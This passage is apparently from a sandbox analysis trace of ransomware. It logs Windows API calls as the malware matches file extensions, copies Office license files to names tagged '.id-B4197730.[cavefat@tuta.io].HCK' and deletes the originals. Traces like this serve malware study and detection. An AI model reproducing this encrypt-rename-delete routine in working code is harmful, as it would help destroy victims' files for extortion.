returned 4 [0238.806] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.806] lstrlenW (lpString=".jpg") returned 4 [0238.806] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.806] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.806] lstrlenW (lpString="HomeBusinessR_Retail3-ppd.xrm-ms") returned 32 [0238.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.807] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=22092) returned 1 [0238.807] CloseHandle (hObject=0x564) returned 1 [0238.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220 [0238.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.808] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.808] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.809] GetLastError () returned 0x0 [0238.809] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x564c, lpOverlapped=0x0) returned 1 [0238.810] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5650, lpOverlapped=0x0) returned 1 [0238.811] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.811] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x114, lpOverlapped=0x0) returned 1 [0238.812] SetEndOfFile (hFile=0x4ac) returned 1 [0238.812] CloseHandle (hObject=0x4ac) returned 1 [0238.812] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.812] SetEndOfFile (hFile=0x564) returned 1 [0238.814] CloseHandle (hObject=0x564) returned 1 [0238.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1 [0238.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.816] lstrlenW (lpString=".doc") returned 4 [0238.816] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.816] lstrlenW (lpString=".docx") returned 5 [0238.816] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.816] lstrlenW (lpString=".pdf") returned 4 [0238.816] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.816] lstrlenW (lpString=".xls") returned 4 [0238.816] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.816] lstrlenW (lpString=".xlsx") returned 5 [0238.816] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.816] lstrlenW (lpString=".ppt") returned 4 [0238.816] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.816] lstrlenW (lpString=".zip") returned 4 [0238.816] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.816] lstrlenW (lpString=".rar") returned 4 [0238.816] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.816] lstrlenW (lpString=".bz2") returned 4 [0238.816] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.816] lstrlenW (lpString=".7z") returned 3 [0238.816] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.816] lstrlenW (lpString=".dbf") returned 4 [0238.816] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.816] lstrlenW (lpString=".1cd") returned 4 [0238.816] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.816] lstrlenW (lpString=".jpg") returned 4 [0238.816] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.816] lstrlenW (lpString=".doc") returned 4 [0238.816] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.817] lstrlenW (lpString=".docx") returned 5 [0238.817] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.817] lstrlenW (lpString=".pdf") returned 4 [0238.817] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.817] lstrlenW (lpString=".xls") returned 4 [0238.817] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.817] lstrlenW (lpString=".xlsx") returned 5 [0238.817] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.817] lstrlenW (lpString=".ppt") returned 4 [0238.817] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.817] lstrlenW (lpString=".zip") returned 4 [0238.817] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.817] lstrlenW (lpString=".rar") returned 4 [0238.817] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.817] lstrlenW (lpString=".bz2") returned 4 [0238.817] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.817] lstrlenW (lpString=".7z") returned 3 [0238.817] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.817] lstrlenW (lpString=".dbf") returned 4 [0238.817] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.817] lstrlenW (lpString=".1cd") returned 4 [0238.817] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0238.817] lstrlenW (lpString=".jpg") returned 4 [0238.817] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.817] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.817] lstrlenW (lpString="HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 35 [0238.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.818] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11613) returned 1 [0238.818] CloseHandle (hObject=0x564) returned 1 [0238.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220 [0238.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.819] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.819] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.819] GetLastError () returned 0x0 [0238.820] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0238.821] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0238.822] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.822] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11a, lpOverlapped=0x0) returned 1 [0238.822] SetEndOfFile (hFile=0x4ac) returned 1 [0238.822] CloseHandle (hObject=0x4ac) returned 1 [0238.822] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.822] SetEndOfFile (hFile=0x564) returned 1 [0239.060] CloseHandle (hObject=0x564) returned 1 [0239.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1 [0239.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.062] lstrlenW (lpString=".doc") returned 4 [0239.062] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.062] lstrlenW (lpString=".docx") returned 5 [0239.062] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.062] lstrlenW (lpString=".pdf") returned 4 [0239.062] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.062] lstrlenW (lpString=".xls") returned 4 [0239.062] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.062] lstrlenW (lpString=".xlsx") returned 5 [0239.062] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.062] lstrlenW (lpString=".ppt") returned 4 [0239.062] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.062] lstrlenW (lpString=".zip") returned 4 [0239.062] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.062] lstrlenW (lpString=".rar") returned 4 [0239.062] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.062] lstrlenW (lpString=".bz2") returned 4 [0239.062] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.062] lstrlenW (lpString=".7z") returned 3 [0239.062] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.062] lstrlenW (lpString=".dbf") returned 4 [0239.062] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.062] lstrlenW (lpString=".1cd") returned 4 [0239.062] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.063] lstrlenW (lpString=".jpg") returned 4 [0239.063] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.063] lstrlenW (lpString=".doc") returned 4 [0239.063] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString=".docx") returned 5 [0239.063] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.063] lstrlenW (lpString=".pdf") returned 4 [0239.063] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString=".xls") returned 4 [0239.063] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString=".xlsx") returned 5 [0239.063] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.063] lstrlenW (lpString=".ppt") returned 4 [0239.063] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.063] lstrlenW (lpString=".zip") returned 4 [0239.063] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString=".rar") returned 4 [0239.063] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString=".bz2") returned 4 [0239.063] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString=".7z") returned 3 [0239.063] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.063] lstrlenW (lpString=".dbf") returned 4 [0239.063] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.063] lstrlenW (lpString=".1cd") returned 4 [0239.063] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0239.063] lstrlenW (lpString=".jpg") returned 4 [0239.063] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.064] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0239.064] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45 [0239.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0239.884] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11669) returned 1 [0239.884] CloseHandle (hObject=0x554) returned 1 [0239.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0240.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.138] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.138] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.139] GetLastError () returned 0x0 [0241.139] ReadFile (in: hFile=0x340, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d95, lpOverlapped=0x0) returned 1 [0241.141] WriteFile (in: hFile=0x4c8, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0241.142] ReadFile (in: hFile=0x340, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.142] WriteFile (in: hFile=0x4c8, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x12e, lpOverlapped=0x0) returned 1 [0241.142] SetEndOfFile (hFile=0x4c8) returned 1 [0241.142] CloseHandle (hObject=0x4c8) returned 1 [0241.143] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.143] SetEndOfFile (hFile=0x340) returned 1 [0241.146] CloseHandle (hObject=0x340) returned 1 [0241.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0241.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.147] lstrlenW (lpString=".doc") returned 4 [0241.147] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.147] lstrlenW (lpString=".docx") returned 5 [0241.147] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.147] lstrlenW (lpString=".pdf") returned 4 [0241.148] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".xls") returned 4 [0241.148] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".xlsx") returned 5 [0241.148] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.148] lstrlenW (lpString=".ppt") returned 4 [0241.148] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.148] lstrlenW (lpString=".zip") returned 4 [0241.148] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".rar") returned 4 [0241.148] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".bz2") returned 4 [0241.148] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".7z") returned 3 [0241.148] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.148] lstrlenW (lpString=".dbf") returned 4 [0241.148] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.148] lstrlenW (lpString=".1cd") returned 4 [0241.148] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.148] lstrlenW (lpString=".jpg") returned 4 [0241.148] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.148] lstrlenW (lpString=".doc") returned 4 [0241.148] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".docx") returned 5 [0241.148] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.148] lstrlenW (lpString=".pdf") returned 4 [0241.148] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".xls") returned 4 [0241.148] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".xlsx") returned 5 [0241.148] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.148] lstrlenW (lpString=".ppt") returned 4 [0241.148] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 